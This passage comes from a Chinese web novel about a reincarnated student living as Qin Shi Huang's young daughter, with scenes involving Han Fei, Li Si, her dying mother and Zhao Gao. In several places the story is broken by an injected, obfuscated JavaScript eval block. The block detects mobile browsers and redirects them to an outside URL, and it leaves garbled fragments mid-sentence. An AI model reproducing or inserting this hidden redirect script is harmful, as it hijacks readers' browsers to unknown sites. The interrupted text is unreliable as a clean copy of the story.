面对此情此景,怎么站都不对劲的云乐干脆摆烂了。 既然老祖宗自己都让我继续看了,那不看白不看…… 云乐又开始盯着人欣赏了。 “有这么好看?”嬴政气笑了,本打算随便问几个问题就揭过此事的他改了主意。 “父王天人之姿。” 不愧是我迷人的老祖宗。 坦白来讲,嬴政的面容并没有云乐上辈子见过的娱乐圈小鲜肉精致,但是他深邃硬朗又大气的五官配上那大权在握、不怒自威的气质,就显得格外吸引人。 果然,权力是男人最好的补品。 “何为五刑?” 一下子,身后的视线就从担忧、震惊、好奇变成了一致的同情。 笞杖徒流死,不对。 “劓、墨、剕、宫、大辟。” “何为听五辞?” “即辞听、色听、气听、耳听、目听。观其出言,不直则烦乱矛盾;观其颜色,不直则赧然变色;观其气息,不直则喘息急促;观其听聆,不直则惑而失序;观其眸子,不直则眊然游移②。” 哼哼,想不到吧,问我专业上了! 嬴政眉目微动,继续问:“刑罚世轻世重,惟齐非齐,有伦有要,作何解?” 云乐突然觉得老祖宗也没这么好看迷人了:“刑罚轻重,随世事而调整,治世轻,乱世重,平世中;法度一统、齐整适用,辨情状而量刑。”她思考了一下,接着说:“治世断狱,当奉法执律,无律则依制,无制则依理。” 嬴政笑了,他将简牍放下,正视云乐:“尔以为,秦律与《吕刑》相较,孰优孰劣?” 家人们谁懂啊,老祖宗一看就阴险邪恶的很! “……各有所长。” “我儿聪慧,四岁稚龄,竟已有如此学识。”他心情大好,屈尊降贵举起云乐,把孩子跟泼浪鼓似的转了转。 “寡人观你思虑颇丰,不若撰文详述一番秦律与《吕刑》。” “一旬之后交予寡人,如何?” 云乐眼前一黑,只想大喊不如何! 重生一世,论文还在追我! 她试图挣扎一下,抱紧嬴政的小腿,眨巴眨巴大眼睛企图萌混过关:“阿父,儿还没有学过秦律。” 别让我写,别逼我跪下来求你。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135675|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 似乎是被云乐的举动惊了一下,嬴政摸了摸孩子的脑袋,笑说:“无妨,我儿聪慧,想必一旬之后已有想法。” 随即吩咐侍人,从明日起,云乐公主与诸公子一同上课。 云乐眼前又是一黑,见事无回转的余地,她干脆将所有姐妹一同拖下水:“阿父,若是如此,岂不是独留下华阳③阿姊和阴嫚阿姊……不患寡而患不均,可否让阿姊与我一道进学?” 对不住了,小朋友,与其独自淋雨,不如共同沉沦。 目前宫中孩子不多,公子公主加在一起也不过十三人,到了进学年纪的算上云乐也不过六人。 嬴政略一思索,便同意了:“既然如此,那往后就让公子与公主一同来学室,不必再做区分了。” “至于你,”嬴政看着可怜巴巴望着自己的孩子,“寡人会派先生为你加课修习秦律,一月之后再将所思所想撰文交予寡人吧。” 很显然,嬴政已经看出来了这孩子虽然聪慧,却是个懒散的,若是不给点压力,指不定就一直躺那了。 更何况,看着孩子那绞尽脑汁推脱的样子,也很有趣不是吗? 云乐闻言,欲哭无泪,却也只能答应了下来。 事情不应该是这样的啊,我不是想着来看扶苏的乐子的吗?怎么乐子变成我自己了。 嬴政政务繁忙,抽空来看看孩子已是不易,虽说遇见了意外之喜,但也没有影响他的计划,对这几位公子一番考较后就抛下一地蔫白菜直接离去了。 只留下云乐一个人面对接下来的风雨。 公子将闾是第一个冲上来的,一个问题就炸了两个人:“你是怎么做到突然从屏风后面冒出来的!” 云乐无助地看向了扶苏。 将闾立刻就把头转过去了:“大兄!你知道!” 他像个比格一样围着扶苏疯狂转圈,看得云乐一阵头痛,只想回去再睡一觉。 倒是公子高好像明白了什么,对云乐说:“大兄虽然平日里都很靠谱,但是偶尔也有不着调的时候。” 云乐闻言看向公子高,他却对着云乐腼腆一笑:“没想到今日父王会来,吓到你了吗。” 是要吓坏了,差点以为看见班主任了…… “什么!什么!可是我一直都没看见你诶!你什么时候进来的?昨日?今早?”将闾突然出现在两人之间比格叫。 扶苏扶额,让侍人将今日来授课的先生先送回去,然后过来拉住了将闾,捂住他的嘴才开始说话:“抱歉,云乐,没想到让你受惊了。” “没事的阿兄,很有意思。”云乐微笑。 见此,扶苏摸了摸云乐的头,吩咐侍人将嬴政的安排告知两位公主,顺便把高和将闾送回去。 “我让人收拾三张书案出来,明日你们就可以来了。” “阿兄,其实不必如此着急。”云乐不笑。 真没有那么想重新读书,真的。 “当然得急,父王可是说了,明日便开始一同授课。更何况,云乐莫不是忘了一月后……” 扶苏眉眼含笑,眼里那等着看好戏的愉悦和刚刚的嬴政如出一辙。 云乐真没招了,谁说长公子扶苏温柔谦和,和暴君嬴政一点不像的,他明明和他爹一模一样,都很有恶趣味! 5. 韩国来使 一成不变的日子总是过得很快。 在嬴政的安排下,云乐从一枚快乐的小朋友变成了“勤奋好学”的小学生。 开学第一天,学秦律典籍,术数骑射。 开学第二天,学秦律典籍,邦交礼仪。 开学第三天,学秦律典籍,经义策论。 云乐啊云乐,不能再这样下去了!你要反抗! 开学第四天,学秦律典籍…… 开学第五天,学秦律典籍…… 七天一晃而过。 开学第八天,学……云乐不学了! 她果断告病请假,决定自行休息三天。 至于前面那七天,就当我调休了! 现在三天的休息时间是我应得的! 秦王政十四年春。 公主云乐开启大秦历史上,也是华夏历史上第一次学生罢课! 她通过一哭二闹三撒娇的方法,成功从不耐烦的嬴政手里抠出一天假期。 此次罢课影响深远,意义重大,自此大秦王室学子开启上六休一,节日调休的进学安排,为后世学子乃至劳动者的时间规划提供了充分借鉴。 与此同时,这一次罢工中还极具创造性地发明了课外作业,有效保障学生学业进步,日日忙碌。 然而,此次事件的主要人物云乐公主却对此十分不满。 据不知情人士透露,事发后曾听闻云乐公主在夜间捶床哭泣,大喊什么:未来的同胞们,我对不住你们! 更有其贴身侍婢阿锦在回忆录中写道: 那一日,阴雨绵绵,公主与王上抗争无果后,曾失魂落魄直言:调休制度一出,从今天起,我就是万古不易的坏人了。 其神情之哀痛,自己平生未见。 此次斗争,公主云乐一人勇敢对抗大秦至高无上的统治者秦王政及其公子公主,其展现出了虽千万人,吾往矣的勇气。同时,大秦也给咸鱼云乐留下了上上下下都是卷王这一点刻板印象。 不过说到底,云乐开学不过十天,要不是上辈子读了十几年书,早已经习惯上五休二,她眼里的光也不会消失得这么快。 就好比华阳和阴嫚两人,就还兴奋激动得很,看她们的神情,云乐觉得再接着上十天,她们都乐意。 但是云乐不行,她是真心感到疲惫。 一方面现在她的生理年龄只有四岁,本就嗜睡且容易感到疲惫,真到累的时候,那身体是说断电就断电,一点反应机会都不给。 另一方面嘛,作为一个有着大学生灵魂的内在,云乐是绝对不会允许自己输给这些小屁孩的!也正是因此,她总要付出更多的精力去阅读背诵那些晦涩的典籍,然后在诸位兄长阿姊面前装作轻轻松松的样子。 别问为什么这么做了,云乐也是要面子的! 更何况,她可不想以后伤仲永变成伤云乐,只要一想,她就觉得窒息。 这不中,这绝对不中! 于是,大秦的公子公主们就这么卷起来了。 扶苏:我身为长兄,岂能连四岁的妹妹都比不过? 本就认真的人这下更是全神贯注。 华阳和阴嫚:机会来之不易,我们定要好好努力,为后面的妹妹做好榜样! 女孩子们就这么开始认认真真、安安静静地发奋图强了。 公子高不语,只是一味地点灯夜读。 公子将闾只是晃了晃神,竟发现自己成了几人中的吊车尾!这下子,他不比格叫了,也不哈士奇跑了,转而开始专心致志地拆书了。 没错,公子将闾在做题和做事之间选择了做法,专心把竹简拆成竹片,藏到了枕头底下,希望一夜好梦之后知识会自动进入脑子。 至于导致内卷的起点,云乐丝毫没有察觉到一切都是因为她这个外表看似小孩,智慧却过于常人的大学生! 时间就在孩子们的吵闹声中偷偷溜走,不过一晃神,就到韩国使臣入秦的日子。 学室。 云乐趴在案上闭目养神,一旁的阴嫚偷偷挪过来,戳了戳人。 “阿乐,你是怎么说服父王,每逢六日便能休息一天的。” 一句话,周围的小崽子全都围上来了。 “对呀对呀,父王这么凶!居然没有打你!” 就连扶苏也暗戳戳地瞥向了云乐,想知道她为何敢肆无忌惮地向父王撒娇。 云乐看着这群公子公主对自己的父亲又敬又怕,只觉无语。 始皇啊始皇,瞧你把小孩教的,居然这么怕你! 就让我来帮个忙,让你体会一下正常父母应得的体验吧! “你们有什么好怕的?那是父王欸。” 那可是父王啊! “父王、父王,肯定先是阿父再是王上啊。更何况,大不了被打一顿,自家阿父还能杀了孩子不成。” “……可是父王……”阴嫚犹犹豫豫,不太敢说话。 “让人不敢冒犯?” 身边的小崽子们连连点头。 云乐站了起来,恨铁不成钢地问:“他打过你们吗?” 拨浪鼓摇头。 “他骂过你们吗?饿着你们了?” 又是一阵拨浪鼓摇头。 “那你们怕什么?” 小孩疑惑,对呀,究竟在怕什么呢? “父王是秦君……”华阳提醒。 “既然如此,我们就试探一下好了。”云乐视线一个一个扫过几位公子公主,“试试你们……我们的父王究竟爱不爱孩子,能不能容忍我们胡闹。” 云乐低声引诱:“想试试吗?” 几个孩子无声点头。 “那我们就设法闹一闹。”云乐语气肯定,“最近宫里有什么大事吗?” “听说今日韩国使臣已入咸阳。”阴嫚犹犹豫豫地开口。 “父王对此次前来的使臣很是欣赏。”华阳接了下去。 能不欣赏吗,那都为了韩非强取豪夺了。 云乐暗自腹诽,心里早早排了一出霸道帝王爱上我:男人哪里逃的小短剧。 “真的吗?真的吗?为什么?”将闾声音压得小小的,一副状况外的样子。 “……因为他有才。”云乐也小小声地回答。 那可是韩非子。 “来使为韩国公子非,韩王安的兄长。”公子高将自己所知一一道出:“患有口疾,不得重视。” “但他文采极佳,父王曾言,若得见此人与之游,死不恨矣。”华阳公主马上补充。 “他还是荀子之徒,与客卿师出同门。”扶苏接过话茬。 …… 几个孩子越聊越激动,彼此对视一眼,空气突然安静下来。 云乐率先出击:“我有一个想法。” “父王明日在章台宫偏殿接见公子非。”扶苏很了解自己爹的行程。 几个孩子叽里咕噜了半天,才在嘿嘿一笑后静悄悄地离去。 与此同时,嬴政连着打了好几个喷嚏,一股莫名的寒意自背后升起。 第二日,章台宫偏殿。 殿内看上去有嬴政、李斯、韩非三人。 嬴政立于案前,对着韩非和颜悦色:“先生大才,不知何以教秦国?” 韩非心中一紧,思索片刻后才缓缓开口:“今,大王励精图治……秦国,上,上下一心……枕,枕戈以待。” “然谋,大势者,当……审时度势,不可因急乱谋……” 韩非越说越顺畅,心里却五味杂陈。 自己一心向韩,韩国上下却无一人在意他的学说,而他视之为虎狼的秦君,却能耐心倾听一个口吃之人长篇大论。 两者差距,宛如天堑。 韩非言辞谦卑,姿态恭顺,所言皆为秦利。 嬴政越听越欣喜,一旁的李斯则低眉顺眼,不露声色。 待韩非离去后,嬴政看向李斯:“廷尉以为如何?” 李斯还没来得及回答,就听见后方传来一阵响动。 当即侧身看去,就看见六个脏脏的小萝卜滚了出来。 李斯:…… 嬴政:……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135676|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几个孩子也知道自己闯了祸,一个个安分地走过来,跪在嬴政身前。 “王上,蒙毅求见。” 小萝卜头挨个往李斯身边挪去,嬴政狠狠剜了他们一眼才道:“进来。” 蒙毅进来就看见跪着的一堆孩子,随即收回视线,向王上行礼:“请王上恕罪。” “怎么回事。” “臣值守宫禁,未曾发现公子、公主踪迹,请王上责罚。” “起来吧,随后自去领罚。” “是。” 李斯赶紧随蒙毅一起告退,嬴政这才把视线转向这几个糟心的:“说说吧,怎么进来的。” “……” “不说就回去禁足一月,抄写秦律五十遍。” 五十遍!半年都抄不完! 几个人吓得叽叽喳喳一下子就招了。 “儿臣特意打听观察过,午后换防时人数最少。” “角门看守更是松散!只有几个老卒!儿略施小计就控制住他们了!” “暗渠栅栏虽然牢固,但缝隙很宽,微微侧身即可钻过。” 怪不得脏兮兮的,原来是从暗渠钻进来的。 ……你一言我一语,很快就把来龙去脉交代地干干净净。 嬴政气得额头突突跳,打断了越说越骄傲的人:“谁的主意?” 空气安静下来,小崽子们你看我,我看你,就是没有人说话。 还想隐瞒主谋,嬴政抱臂冷笑一声:“嬴云乐①。” 他的眼里满是笃定,写满了不用说我都知道是你。 毕竟,前面那几个孩子就算聚在一起,也没闹出过什么事来。 自从加上了嬴云乐!五天就干出了罢课,偷入章台宫这么恶劣的事情! 明明以前个个孩子见了他都跟鹌鹑似的,怎么突然就变成这样了? 如果云乐知道嬴政的疑惑,一定会慷慨解答。 很简单,孩子其实都很会察言观色、得寸进尺,当他们看到云乐对着嬴政一哭二闹,抱腿撒娇的时候,就已经在思考自己是不是也能这么干了。 此次事件,虽说是云乐撺掇的,实际则是孩子们对父亲的一次小心试探。 结果出来,感觉妹妹说得没错欸,父王确实没有那么可怕。 你要问云乐是怎么敢仗着如今嬴政子女的身份如此无所畏惧的? 首先,瞧瞧后面两千年嬴政都被黑成那样了,也没人黑他杀子,再加上自己了解的一些历史,足见他对孩子的宽容。 或许称不上一个慈父,但物质条件绝不会亏待,杀子圈禁守皇陵更是没有,那还不得趁着年纪小赶紧提高他对自己的容忍度。 其次,上辈子作为父母的掌上明珠,她可是懂得很,越付出,越在乎,会哭的孩子有糖吃。 云乐慢悠悠地站起来,再以迅雷不及掩耳之势坐在了嬴政的脚上,抱住他的小腿就开始卖萌:“阿父——我们下次不会了。” 眨巴眨巴眼睛,再眨巴眨巴眼睛。 往后偷瞄一眼,其他人立刻七嘴八舌地跟上:“父王,我们下次不会了。” 嬴政深吸一口气,把脚拔出来:“回去,把秦律抄一遍,不抄完不准出来!” 耶!过关啦!父王爱我们! 小萝卜头兴高采烈地跑走了。 只剩了云乐被嬴政提着领子抓在原地。 “至于你,这几日别想着玩闹了。”嬴政眼神冷酷:“今日就给寡人呆在章台宫,什么时候把关于秦律和《吕刑》的想法写完了,什么时候走。” 不!!! 云乐果断服软:“阿父政务繁忙,怎可再如此操心女儿的事情呢?” 她义正言辞地说:“那儿也太不孝了!” 嬴政意味深长地看了小孩一眼,他算是发现了,云乐对于他,对于王权没有一丝一毫的敬畏。 头铁的君王打定了主意,那就注定了谁都劝不动。 这一夜,云乐被迫和嬴政一起熬干了灯油。 当事人如今就是后悔,非常后悔。 6. 赌约(修) 父女两人难得有机会夜谈,嬴政一边批阅奏折,一边对云乐说:“寡人命韩非担任你的老师,如何?” 云乐本已经昏昏欲睡,闻言顿时惊醒过来,奇异地看了眼嬴政。 “你那是什么眼神?” 云乐收回视线,看着低眉顺眼,说出口的话却截然相反:“女儿以为,不如何。” “哦?” 嬴政显然对云乐的回答十分感兴趣,将她提溜到蒲团上静待下文。 “阿父认为,公子非是一个怎样的人呢?” “大才。” “除此之外呢?” “……” “那我换一个问题,阿父可有思考过,公子非是如何看待韩国的?” “自然。”嬴政虽然觉得这个问题有些不舒服,仍旧皱着眉回答。 “所以我认为他不能。”云乐直视嬴政,神色笃定。 嬴政不服气,但是嬴政不说。 云乐见此对他微微一笑:“阿父可要与我赌一把?” “赌?”嬴政玩味:“博戏争财者黥为城旦舂。” “……”靓崽无语:“儿臣所言,仅为博戏,并无争财。” “秦律学得不错。”嬴政感觉有点新鲜,“赌什么?” “公子非的命。” 韩非,我就试一试,能救救,不行拉倒,至少试过了,问心无愧。 “若他不能为父王所用……”她眼神坚定地望向大秦的王:“儿臣恳请父王保下公子非的命。” 云乐一出手就先掀开了自己的老底。 这不是一个想要谈判的人该做的事情,但是面对嬴政,云乐乐意尽可能地袒露全部。 保下……嬴政细细品味这两个字。 真是奇怪的感觉啊。 “你认为谁会要了韩非的命呢?” “李斯。” 这种仿佛站在了事件的结尾,向朕发出请求的错觉。 更奇怪的是,她好像不曾掩饰自己的特殊。 “为何?你方才看到李斯神色不对了?” 啊?原来刚刚屋里那个就是李斯? 云乐一脸震惊,嬴政也在瞳孔地震。 “你不知那是廷尉李斯?” 那你从哪知道的李斯?! 云乐下意识摇头。 嬴政细细观察着云乐,那双眼睛仿佛冬日清潭,倒映着嬴政。 一个青涩疏离,一个初露锋芒。 一个冷漠却坦诚,一个果决又克制。 以前怎么没有注意,这个孩子如此特殊呢。 不知样貌,不知职位,却断言未来。 “……若是寡人不愿意呢?” “那我也没办法了,救不了就等死。” “不再试试?他算是你的舅舅呢。” “没有必要。” 云乐自认是个普通人,没那么大的本事,也没那么大的能量救下一个封建帝国统治者想要杀的人,更何况…… “天下英才如过江之鲫,没了这个也有下一个。”云乐毫不掩饰自己的冷漠,“救下韩非固然好,但在我心里,这个世界上父王才是最重要的。” 如果无力改变,那就随波逐流。 自从系统出现,她就已经做好了一辈子回不了家的准备。 既然如此,自然是系统越想干什么,云乐越不乐意做什么。 什么推动科技进步,文明发展,在云乐心里都是狗屁,她觉得现在挺好的,也很满意历史最终的发展,根本没必要推动历史走向未知。 万一越推结果越差怎么办?她只想要千年后世界依旧,别的根本无所谓。 嬴政嘴角不自觉地勾起:“云乐爱我。” 好像……还是有点所谓的。 云乐差点被诱惑了,她掐了掐手掌心,冲着嬴政露出一个腼腆的笑容。 “不过赌约,寡人不应。” 啊?为什么? “你倒是打了个好算盘,若是按照你的赌约来,岂不是无论输赢,你都不亏。” 反正韩非的命,肯定丢不了了。 云乐嘿嘿一笑,不语。 “所以不行,如此以来,输赢与你我而言根本无意义。” 云乐思索片刻:“那换一个赌约,如何?” “你先说说看。” “那……就赌廷尉是否会瞒着你杀了公子非,如何?” “可以,寡人赌李斯不会。” “那我就赌廷尉会。” “赌注?” “若我赢了,阿父一定要在廷尉之前救下韩非。” “若你输了?” “儿有办法令天下英才尽入我大秦。”云乐笑得狡黠:“如何?相信我,阿父怎么都不会亏。” 嬴政闻言,发出了富豪的笑声:“寡人应了。” 她的身体下意识朝嬴政扑去,抱着手臂摇摇晃晃:“阿父真好!爱你!” 心里却有点惶恐无助,这么干……究竟是不是一件好事呢。 数日后,韩非上书秦王政,力主先伐赵,缓灭韩。 章台宫内,嬴政将简牍递给云乐:“你早知韩非会上此书?” 明明是疑问句,嬴政却说得笃定,云乐也不掩饰,直接点了点头:“有所猜测,虽不知具体内容,但我想,必是力劝阿父先伐赵之类的存韩之策。” “哼。”嬴政瞥向云乐,眼里写满了你倒是知道得不少。 两人之间似乎有了默契,嬴政猜测云乐或许身怀奇异,却不挑明,云乐也猜到嬴政肯定怀疑什么,但只要嬴政不问,云乐也就不说。 两人就这么装模作样地开启了一问一答。 “其上书之策,言之有理,然寡人疑心其为韩不为秦。” “阿父可认为忠心不绝对即是绝对不忠心?” 嬴政对于此种说法感到新鲜,细想之后又觉得很有道理:“自然。” 云乐心下叹息,历史的车轮滚滚向前,她无法劝阻韩非不要上书,息了存韩之心,也无力改变嬴政的三观,打消他的怀疑。 “那阿父意欲何为?” 嬴政看了云乐一眼:“静观其变。” 他想知道,为何云乐会笃定李斯会对韩非下手,所以,他放任事情继续发展下去。 当然,韩非,他想要,云乐所言令天下英才尽入大秦的方法,他也要。 李斯,若你真的瞒着我,想要对韩非下手…… 嬴政眸色沉沉,思绪翻飞。 然而,赌约结果还没等到,先等来了瑶华夫人油尽灯枯的消息。 兰绮宫似乎随着主人的病重而萧条,明明还是精致华丽的,却又透着一股死气。 云乐沉默地坐在床榻边,看着瑶华夫人像睡美人一样躺在那里。 过了一会了,她掀开锦被钻了进去,揽住瑶华夫人的手臂,触摸到微凉的手指。 “你再撑一撑,好不好……” 我都让秦始皇答应保下韩非了,说不定往后你能常常看见亲人呢。 瑶华夫人没有回答。 “……对不起,如果没有我……” 你是不是能在咸阳宫安然无恙地过一辈子呢? 有人温柔地抚过头发,轻声叹息:“该说对不起的人,是母妃啊。” “没能一直陪着我们阿乐,不能看阿乐长大了,对不起。” 这怎么能是你的错呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135677|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “往后自己一个人……要好好吃饭,好好睡觉……” “天凉了要添衣……不要总是……光着脚跑来跑去,对身体不好。” 瑶华夫人絮絮叨叨地说,云乐就静静地听。 我的孩子,她还这么小,宫禁深深,往后若是没人护着…… 她望向云乐,满脸愧怍:“你要爱自己,没有什么比你自己更加重要。” 云乐抓过抚摸着她的手,抬眼看向瑶华夫人:“我知道,你不要担心,我很会照顾自己的,没有人能让我受委屈。” “那就好。”瑶华夫人抱着云乐,恨不得将孩子融进自己的骨血:“天下很大,很美……你一定要好好欣赏。” 千万不要太早来找母妃,那样母妃会伤心欲绝的。 “……陪母妃再睡一回儿吧。” 等云乐在身边安然熟睡后,瑶华夫人悄悄睁开了双眼,她仔细描摹着孩子的面孔,随即命人取笔。 烛火摇曳,倒映出一位母亲的身影。 片刻后,一位侍人手捧木盒往章台宫去。 嬴政还在处理政务,就听见侍人来报,瑶华夫人有东西呈递。 嬴政搁下笔,打开了木盒,里面不过一张缣帛,两份竹简。 缣帛上,韩国布防图赫然映入眼帘。 他沉默片刻,又打开两份竹简,才发现一份是给韩非,劝其勿恋故国,若有余力,请求韩非替自己看顾女儿,另一份则是给他的一封绝笔。 妾瑶华,入秦侍驾六载,今沉疴难起,大限将至,沥血叩请于大王御前: ……天下纷争,列国伐交频频,妾不敢奢求其他,望大王念及舐犊之情,怜云乐孤苦,勿以宗女之身,强遣联姻。愿大王所求皆可得,吾儿云乐岁岁欢愉,无忧无病。 妾瑶华,顿首再拜。 秦王政十四年夏,瑶华夫人,薨,时年二十又四。 云乐面无表情地将束刍、束帛一点点丢进火盆中,眼睛被烟雾熏得通红。 后知后觉的悲伤淹没了她,云乐在心里默想:二十四岁,正是大学刚刚毕业的年纪。下辈子,一定要晚一点出生,别年纪轻轻就经历这么多痛苦,到时候,说不定我们会成为很好的朋友。 华阳和阴嫚带着吃食联袂而来,她们不说话,只是陪着云乐,两人不过五六岁,还不懂如何安慰别人,便学着各自母亲的样子,摸摸妹妹的手,给妹妹投喂吃食,就这样轻轻叩响了云乐的心门。 随后,三位公子也来了,将闾大哭着紧紧抱住云乐:“妹妹!以后我把我的母妃分给你!你不要难过!” 小屁孩人没多大,力气倒有得是,差点把云乐抱到窒息,吓得剩下几人赶忙把将闾拉开。 几日后,宫中出现云乐公主在瑶华夫人灵前痛哭流涕,几欲昏厥的传言。 嬴政听此传闻,特意去学室看了一眼云乐,却发现她看着和往常没什么分别。 但是无风不起浪,想来孩子心里也是伤心的。 还是让她忙一点吧,忙一点就不会想太多了。 随即吩咐侍人,让云乐明日带上作业,和扶苏一起来章台宫。 云乐大惊,深夜赶工,果然无暇悲痛。 次日,云乐牵着扶苏的手,睡眼惺忪地往章台宫走去,恍如人机开了自动跟随一般。 进殿,嬴政果然在处理政务,案旁的简牍堆了一堆又一堆,云乐光是看着,就觉得腰酸背痛,暗自感叹皇帝果然不是谁都能做的。 环视一周,整个章台宫无一丝变化,除了多出一张生面孔。 似乎是察觉到了云乐的视线,那人自觉往前一步。 “臣新任中车府令赵高,见过长公子、见过云乐公主。” 7. 赵高 大秦的奸臣已经自己跳出来了! 赵高是一个,还有秦始皇! 云乐对着嬴政怒目圆睁,但由于年纪太小,显得过分可爱。 她放开扶苏的手,径直向“奸臣秦始皇”奔去。 “阿父——” 你究竟是打哪儿把赵高搜罗起来的? 为了搞清楚情况,某些人已经脸都不打算要了。 这人是个大大的奸臣啊!不行,这不是把自己给爆出来了。这么个人才您是从哪儿挖出来的?不对,太阴阳怪气了。 云乐思来想去,整个人都词穷了,也没想出要说什么。 倒是嬴政对她这变幻莫测的脸色颇感新奇,主动询问:“你想说什么?” 情急之下,云乐脱口而出:“中车府令是什么东西……” 话音未落,云乐便知不好,一抬头果然看见嬴政低沉的脸色。 扶苏立刻过来拉住云乐,刚要说什么就被妹妹扯了扯袖子。 其实云乐知道,她现在最好道个歉,缓和一下气氛,毕竟是她无礼了。 但是她不想。 一时之间连空气都沉寂下来。 “回云乐公主,臣蒙大王看重,忝任中车府令,专司大王车马仪仗。”赵高神色恭敬,看上去并无一丝不满,反而主动打破了凝滞的氛围,递上台阶。 真是个会察言观色的破冰小能手呢~ 嬴政还是一言不发。 云乐在心里暗暗翻了个白眼。 算了,现在还不是开团的时候。 “……原来如此。”云乐逼迫自己整理好情绪,扯了扯嘴角:“方才是我无礼了。” “公主言重了。”赵高的表情没有一丝一毫的变化,每一次都是躬身回话。 看得云乐碍眼极了。 “行了,赵高乃寡人近侍,下回不可如此无礼。”随即,嬴政看向赵高:“你先退下吧。” “诺。” 赵高退下了,云乐却有些惊奇地抬起头,发现嬴政好像不是在生气自己轻慢赵高。 扶苏则赶忙上前一步挡住云乐,想要向嬴政请罪却被打断了。 “你那是什么眼神?”嬴政嘴上嫌弃,语气却透着无奈:“下回不可如此了,若心里不喜赵高应当私下告知寡人,怎可当面表露地如此明显。” “赵高不应该是阿父的心腹吗?” 虽然在我看来是个心腹大患。 嬴政皱眉:“不过是个近侍,如何就能称之为心腹了?” 不是心腹那他怎么做到在你死之后篡改遗诏的? 云乐脑子有些不清楚了:“可是他随侍左右,又负责你的车驾仪仗,出行安危……” “他随侍左右,但无权参与朝政,寡人出行安危,也不止赵高一人负责。”嬴政直接打断了云乐:“所以赵高有什么问题?” 啊? 云乐傻眼了,我的老天奶,这和书上说得不一样! 嬴政居然是这种人? “你虽对寡人都无一丝一毫的敬畏,但也绝不是无礼之人。”强如嬴政,两三个月的特意关注已经足够让他把一个人摸得清清楚楚,更何况抛去云乐的神异之处,她本身十分好懂。 善良到软和,聪明却没什么野心,懒散随心,整个人几乎看不出什么欲望,让嬴政差点以为自己孩子里出了一个修道的好苗子。 结果还是有东西能挑起情绪的啊。 “所以,定然是赵高有问题。” 不是,爹,你信我啊? 云乐直愣愣地看着这位千古一帝,一种奇异的感觉涌上心头。 嬴政无奈,心下叹息自己到底给女儿留下了什么奇怪印象,嘴上却说得很直白,毕竟不直白一点这小笨蛋根本听不懂。 “云乐,你要记住,你是寡人的女儿,而赵高,不过是一个近侍。”随即,他将目光转向扶苏:“还有你,难道在你眼里,寡人会为了一个近侍责骂自己孩子吗?” 说着说着,嬴政是真的有些生气了,当然还有一些难过。 糟心的孩子,一点都不懂老父亲的想法。 两人闻言面露羞愧,云乐也不好意思把这个问题含混过去,跟扶苏对视一眼,达成了各自以为的默契。 “父王,儿臣知错,请父王恕罪!” “阿父——你是最最最英明神武的王!” 两道声音同时响起,一个跪得干脆利索,一个故技重施抱住小腿。 话音落下,两人惊愕地看向彼此。 不是一起请罪吗? 不是一起撒个娇让父王消气吗?我都刻意让出左边的小腿了! 扶苏呆住了,怎能如此不顾礼节,直接抓住父王衣摆,这不是火上浇油吗? 云乐无语了,扶苏怎么小小年纪就这么头铁,这时候不撒娇让父王消气,还跪地请罪火上浇油。 熟悉的头痛感让嬴政忍不住摁了摁额角,他先抬手示意让扶苏起来,再把云乐从自己身上撕下来。 老实说,他以前还对扶苏一板一眼讲不通道理的样子感到糟心,现在有了云乐这个死皮赖脸的做对比,顿时觉得—— 更糟心了,俩孩子要是中和一下多好,也不至于像现在这样,明明是不同的孩子,不同的性格,却一样的让人头痛。 “你先说赵高,他做了什么让你如此厌恶?” 那可多了去了,云乐心里掰着指头都数不过来,把你放咸鱼堆里,矫诏,害死了李斯,害死了大秦,指鹿为马,害得你所求一个都没有实现…… 但是云乐犹豫了,这一切现在都还没发生,怎么能用还没有发生的事情去惩戒现在还什么都不知道的人呢? 更何况,嬴政会相信他说得话吗? 可如果不说…… 难道要等到日后赵高进一步获得了秦始皇的信任后,再设法除去他吗? “赵高是一个巧言令色之人……” 巧言令色,鲜矣仁①。 但这还不够,始皇是不会在乎一个人是否仁德的。 忠心、能力、是否可用、是否好用这些才是决定他愿不愿意舍弃赵高的因素。 可是细细想来,对于始皇而言,这几条赵高都符合啊! 最关键的是,如果要告诉始皇为何不喜赵高,云乐发现她根本避不开始皇之死,沙丘政变种种会刺激心脏的事情。 天子之怒,伏尸百万,流血千里②。 云乐真的承受不起这个后果,她只觉得头都要秃了。 仿佛看出了云乐真切的纠结和苦恼,嬴政轻叹一声:“罢了,若是不知从何讲起,便不说了。” 今天的始皇真是给了云乐太多的惊讶。 他太过鲜活,以至于云乐无法将其与课本上那个人联系起来。 她在心里沉痛地想:完蛋了,我好像要栽了,老祖宗实在有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 